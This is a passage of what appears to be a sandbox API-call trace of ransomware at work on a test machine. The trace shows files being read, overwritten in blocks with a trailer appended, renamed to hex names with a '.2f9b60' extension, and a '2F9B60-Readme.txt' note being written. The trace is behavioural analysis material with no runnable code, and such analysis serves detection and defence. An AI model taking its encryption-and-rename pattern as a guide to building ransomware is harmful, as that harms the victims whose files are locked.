(HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x4205a000 [0141.036] sprintf (in: _Dest=0x4205a000, _Format="%c%c" | out: _Dest="74") returned 2 [0141.036] sprintf (in: _Dest=0x4205a002, _Format="%c%c" | out: _Dest="2d") returned 2 [0141.036] sprintf (in: _Dest=0x4205a004, _Format="%c%c" | out: _Dest="44") returned 2 [0141.036] sprintf (in: _Dest=0x4205a006, _Format="%c%c" | out: _Dest="82") returned 2 [0141.036] sprintf (in: _Dest=0x4205a008, _Format="%c%c" | out: _Dest="5c") returned 2 [0141.036] sprintf (in: _Dest=0x4205a00a, _Format="%c%c" | out: _Dest="86") returned 2 [0141.036] sprintf (in: _Dest=0x4205a00c, _Format="%c%c" | out: _Dest="51") returned 2 [0141.036] sprintf (in: _Dest=0x4205a00e, _Format="%c%c" | out: _Dest="50") returned 2 [0141.036] sprintf (in: _Dest=0x4205a010, _Format="%c%c" | out: _Dest="b3") returned 2 [0141.036] sprintf (in: _Dest=0x4205a012, _Format="%c%c" | out: _Dest="88") returned 2 [0141.036] sprintf (in: _Dest=0x4205a014, _Format="%c%c" | out: _Dest="39") returned 2 [0141.036] sprintf (in: _Dest=0x4205a016, _Format="%c%c" | out: _Dest="ba") returned 2 [0141.036] sprintf (in: _Dest=0x4205a018, _Format="%c%c" | out: _Dest="96") returned 2 [0141.036] sprintf (in: _Dest=0x4205a01a, _Format="%c%c" | out: _Dest="fe") returned 2 [0141.036] sprintf (in: _Dest=0x4205a01c, _Format="%c%c" | out: _Dest="3d") returned 2 [0141.036] sprintf (in: _Dest=0x4205a01e, _Format="%c%c" | out: _Dest="f3") returned 2 [0141.036] sprintf (in: _Dest=0x4205a020, _Format="%c%c" | out: _Dest="2b") returned 2 [0141.036] sprintf (in: _Dest=0x4205a022, _Format="%c%c" | out: _Dest="99") returned 2 [0141.036] sprintf (in: _Dest=0x4205a024, _Format="%c%c" | out: _Dest="46") returned 2 [0141.036] sprintf (in: _Dest=0x4205a026, _Format="%c%c" | out: _Dest="f9") returned 2 [0141.036] sprintf (in: _Dest=0x4205a028, _Format="%c%c" | out: _Dest="59") returned 2 [0141.036] sprintf (in: _Dest=0x4205a02a, _Format="%c%c" | out: _Dest="50") returned 2 [0141.036] sprintf (in: _Dest=0x4205a02c, _Format="%c%c" | out: _Dest="75") returned 2 [0141.036] sprintf (in: _Dest=0x4205a02e, _Format="%c%c" | out: _Dest="a0") returned 2 [0141.037] sprintf (in: _Dest=0x4205a030, _Format="%c%c" | out: _Dest="ee") returned 2 [0141.037] sprintf (in: _Dest=0x4205a032, _Format="%c%c" | out: _Dest="2f") returned 2 [0141.037] sprintf (in: _Dest=0x4205a034, _Format="%c%c" | out: _Dest="6b") returned 2 [0141.037] sprintf (in: _Dest=0x4205a036, _Format="%c%c" | out: _Dest="50") returned 2 [0141.037] RtlInitAnsiString (in: DestinationString=0x3a28f948, SourceString="742d44825c865150b38839ba96fe3df32b9946f9595075a0ee2f6b50" | out: DestinationString="742d44825c865150b38839ba96fe3df32b9946f9595075a0ee2f6b50") [0141.037] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a28f918, SourceString="742d44825c865150b38839ba96fe3df32b9946f9595075a0ee2f6b50", AllocateDestinationString=1 | out: DestinationString="742d44825c865150b38839ba96fe3df32b9946f9595075a0ee2f6b50") returned 0x0 [0141.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x420616b0 [0141.037] RtlFreeAnsiString (AnsiString="7") [0141.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a000) returned 1 [0141.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617c0) returned 1 [0141.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b30) returned 1 [0141.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0141.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0141.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdfc0) returned 1 [0141.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0141.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf90) returned 1 [0141.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fda50) returned 1 [0141.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdab0) returned 1 [0141.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdae0) returned 1 [0141.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b862300 [0141.039] wcscat (in: _Dest=0x1b862300, _Source="742d44825c8651" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\742d44825c8651") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\742d44825c8651" [0141.039] wcscat (in: _Dest=0x1b862300, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\742d44825c8651.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\742d44825c8651.2f9b60" [0141.039] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\742d44825c8651.2f9b60", NtPathName=0x3a28f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\742d44825c8651.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x4205e800 [0141.039] NtSetInformationFile (FileHandle=0x1af8, IoStatusBlock=0x3a28f990, FileInformation=0x4205e800, Length=0xc0, FileInformationClass=0xa) returned 0x0 [0141.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e800) returned 1 [0141.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3e80) returned 1 [0141.054] NtQueryInformationFile (in: FileHandle=0x1af8, IoStatusBlock=0x3a28f958, FileInformation=0x3a28f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a28f958, FileInformation=0x3a28f968) returned 0x0 [0141.054] NtSetInformationFile (FileHandle=0x1af8, IoStatusBlock=0x3a28f958, FileInformation=0x3a28f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0141.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862300) returned 1 [0141.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.057] FlushFileBuffers (hFile=0x1af8) returned 1 [0141.065] CloseHandle (hObject=0x1af8) returned 1 [0141.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b862300 [0141.067] wcscpy (in: _Dest=0x1b862300, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\" [0141.067] wcscat (in: _Dest=0x1b862300, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\2F9B60-Readme.txt" [0141.067] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj8bo78m6hj69ekxddfh\\2f9b60-readme.txt")) returned 0xffffffff [0141.067] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj8bo78m6hj69ekxddfh\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1af8 [0141.070] WriteFile (in: hFile=0x1af8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3a28f810, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3a28f810*=0xba9, lpOverlapped=0x0) returned 1 [0141.071] CloseHandle (hObject=0x1af8) returned 1 [0141.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862300) returned 1 [0141.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b08d0) returned 1 Thread: id = 2157 os_tid = 0x1540 [0140.207] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\EU2PMMMTgc8C.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj8bo78m6hj69ekxddfh\\eu2pmmmtgc8c.mkv")) returned 0x20 [0140.207] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\EU2PMMMTgc8C.mkv", dwFileAttributes=0x20) returned 1 [0140.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\EU2PMMMTgc8C.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj8bo78m6hj69ekxddfh\\eu2pmmmtgc8c.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1af4 [0140.758] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x39d8fbe0 | out: lpFileSize=0x39d8fbe0*=36551) returned 1 [0140.758] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0x8ec3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.758] ReadFile (in: hFile=0x1af4, lpBuffer=0x39d8fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39d8fba8, lpOverlapped=0x0 | out: lpBuffer=0x39d8fb60*, lpNumberOfBytesRead=0x39d8fba8*=0x4, lpOverlapped=0x0) returned 1 [0140.759] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0140.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda80 [0140.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb10 [0140.760] NtQuerySystemTime (in: CurrentTime=0x39d8faa0 | out: CurrentTime=0x39d8faa0*=132462177460078000) returned 0x0 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x8d45a72 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x639c6dde [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x20702af3 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x540df3e2 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x6111a3be [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x4099d052 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x5bae3b0f [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x2cc27c5a [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x4e69b5ad [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x475587f0 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x51e0f222 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x65a11791 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x7114d272 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x634a614 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x53aa5861 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x421ec6ad [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x548e7e22 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x30ab651d [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x76bc8a27 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x20d46ddd [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x26256655 [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x4fede07c [0140.760] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x33b3c367 [0140.761] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x4752d0f6 [0140.761] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x5564b9e2 [0140.761] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x79291cff [0140.761] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x20b277d3 [0140.761] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x2957472a [0140.761] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x250daf59 [0140.761] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x3c58bce1 [0140.761] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x6c1807a8 [0140.761] RtlRandomEx (in: Seed=0x39d8fa90 | out: Seed=0x39d8fa90) returned 0x68098336 [0140.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb40 [0140.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0140.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb70 [0140.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0140.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb10) returned 1 [0140.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9c0) returned 1 [0140.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42279960 [0140.771] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.771] ReadFile (in: hFile=0x1af4, lpBuffer=0x42279960, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x39d8fb00, lpOverlapped=0x0 | out: lpBuffer=0x42279960*, lpNumberOfBytesRead=0x39d8fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0140.772] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0140.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0140.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0140.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9c0) returned 1 [0140.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4227d570 [0140.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0140.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb10 [0140.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb10) returned 1 [0140.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0140.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0140.773] WriteFile (in: hFile=0x1af4, lpBuffer=0x4227d570*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x39d8fb00, lpOverlapped=0x0 | out: lpBuffer=0x4227d570*, lpNumberOfBytesWritten=0x39d8fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0140.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4227d570) returned 1 [0140.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42279960) returned 1 [0140.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda07f0 [0140.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0140.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0140.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdff0 [0140.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdff0) returned 1 [0140.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda0830 [0140.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdff0 [0140.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe020 [0140.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe020) returned 1 [0140.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0140.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0140.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x1673a0 [0140.959] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.959] WriteFile (in: hFile=0x1af4, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x39d8fbb0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x39d8fbb0*=0x112, lpOverlapped=0x0) returned 1 [0141.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x4205a000 [0141.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0141.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdae0 [0141.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdae0) returned 1 [0141.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdae0 [0141.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdab0 [0141.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda50 [0141.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fda50) returned 1 [0141.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0141.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a000) returned 1 [0141.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x4205a000 [0141.043] sprintf (in: _Dest=0x4205a000, _Format="%c%c" | out: _Dest="d2") returned 2 [0141.043] sprintf (in: _Dest=0x4205a002, _Format="%c%c" | out: _Dest="6b") returned 2 [0141.043] sprintf (in: _Dest=0x4205a004, _Format="%c%c" | out: _Dest="70") returned 2 [0141.043] sprintf (in: _Dest=0x4205a006, _Format="%c%c" | out: _Dest="c1") returned 2 [0141.043] sprintf (in: _Dest=0x4205a008, _Format="%c%c" | out: _Dest="79") returned 2 [0141.043] sprintf (in: _Dest=0x4205a00a, _Format="%c%c" | out: _Dest="9a") returned 2 [0141.043] sprintf (in: _Dest=0x4205a00c, _Format="%c%c" | out: _Dest="d1") returned 2 [0141.043] sprintf (in: _Dest=0x4205a00e, _Format="%c%c" | out: _Dest="30") returned 2 [0141.043] sprintf (in: _Dest=0x4205a010, _Format="%c%c" | out: _Dest="a9") returned 2 [0141.043] sprintf (in: _Dest=0x4205a012, _Format="%c%c" | out: _Dest="78") returned 2 [0141.043] sprintf (in: _Dest=0x4205a014, _Format="%c%c" | out: _Dest="a9") returned 2 [0141.043] sprintf (in: _Dest=0x4205a016, _Format="%c%c" | out: _Dest="76") returned 2 [0141.043] sprintf (in: _Dest=0x4205a018, _Format="%c%c" | out: _Dest="e6") returned 2 [0141.043] sprintf (in: _Dest=0x4205a01a, _Format="%c%c" | out: _Dest="b6") returned 2 [0141.043] sprintf (in: _Dest=0x4205a01c, _Format="%c%c" | out: _Dest="d5") returned 2 [0141.043] sprintf (in: _Dest=0x4205a01e, _Format="%c%c" | out: _Dest="c6") returned 2 [0141.043] sprintf (in: _Dest=0x4205a020, _Format="%c%c" | out: _Dest="77") returned 2 [0141.043] sprintf (in: _Dest=0x4205a022, _Format="%c%c" | out: _Dest="ce") returned 2 [0141.043] sprintf (in: _Dest=0x4205a024, _Format="%c%c" | out: _Dest="dd") returned 2 [0141.043] sprintf (in: _Dest=0x4205a026, _Format="%c%c" | out: _Dest="bc") returned 2 [0141.043] sprintf (in: _Dest=0x4205a028, _Format="%c%c" | out: _Dest="ee") returned 2 [0141.043] sprintf (in: _Dest=0x4205a02a, _Format="%c%c" | out: _Dest="f7") returned 2 [0141.043] sprintf (in: _Dest=0x4205a02c, _Format="%c%c" | out: _Dest="ed") returned 2 [0141.043] sprintf (in: _Dest=0x4205a02e, _Format="%c%c" | out: _Dest="d8") returned 2 [0141.043] sprintf (in: _Dest=0x4205a030, _Format="%c%c" | out: _Dest="ea") returned 2 [0141.043] sprintf (in: _Dest=0x4205a032, _Format="%c%c" | out: _Dest="9e") returned 2 [0141.043] sprintf (in: _Dest=0x4205a034, _Format="%c%c" | out: _Dest="4a") returned 2 [0141.043] sprintf (in: _Dest=0x4205a036, _Format="%c%c" | out: _Dest="76") returned 2 [0141.043] sprintf (in: _Dest=0x4205a038, _Format="%c%c" | out: _Dest="47") returned 2 [0141.043] sprintf (in: _Dest=0x4205a03a, _Format="%c%c" | out: _Dest="4c") returned 2 [0141.043] sprintf (in: _Dest=0x4205a03c, _Format="%c%c" | out: _Dest="1f") returned 2 [0141.044] sprintf (in: _Dest=0x4205a03e, _Format="%c%c" | out: _Dest="ec") returned 2 [0141.044] RtlInitAnsiString (in: DestinationString=0x39d8fc28, SourceString="d26b70c1799ad130a978a976e6b6d5c677ceddbceef7edd8ea9e4a76474c1fec" | out: DestinationString="d26b70c1799ad130a978a976e6b6d5c677ceddbceef7edd8ea9e4a76474c1fec") [0141.044] RtlAnsiStringToUnicodeString (in: DestinationString=0x39d8fbf8, SourceString="d26b70c1799ad130a978a976e6b6d5c677ceddbceef7edd8ea9e4a76474c1fec", AllocateDestinationString=1 | out: DestinationString="d26b70c1799ad130a978a976e6b6d5c677ceddbceef7edd8ea9e4a76474c1fec") returned 0x0 [0141.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86b790 [0141.044] RtlFreeAnsiString (AnsiString="d") [0141.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a000) returned 1 [0141.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdae0) returned 1 [0141.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdab0) returned 1 [0141.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0141.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0830) returned 1 [0141.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdff0) returned 1 [0141.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0141.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9c0) returned 1 [0141.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fda80) returned 1 [0141.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb40) returned 1 [0141.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb70) returned 1 [0141.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b862720 [0141.045] wcscat (in: _Dest=0x1b862720, _Source="d26b70c1799ad130" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\d26b70c1799ad130") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\d26b70c1799ad130" [0141.046] wcscat (in: _Dest=0x1b862720, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\d26b70c1799ad130.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\d26b70c1799ad130.2f9b60" [0141.046] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\d26b70c1799ad130.2f9b60", NtPathName=0x39d8fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\d26b70c1799ad130.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205e8d0 [0141.046] NtSetInformationFile (FileHandle=0x1af4, IoStatusBlock=0x39d8fc70, FileInformation=0x4205e8d0, Length=0xc4, FileInformationClass=0xa) returned 0x0 [0141.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e8d0) returned 1 [0141.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced40b0) returned 1 [0141.058] NtQueryInformationFile (in: FileHandle=0x1af4, IoStatusBlock=0x39d8fc38, FileInformation=0x39d8fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39d8fc38, FileInformation=0x39d8fc48) returned 0x0 [0141.058] NtSetInformationFile (FileHandle=0x1af4, IoStatusBlock=0x39d8fc38, FileInformation=0x39d8fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0141.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862720) returned 1 [0141.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b790) returned 1 [0141.068] FlushFileBuffers (hFile=0x1af4) returned 1 [0141.077] CloseHandle (hObject=0x1af4) returned 1 [0141.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) 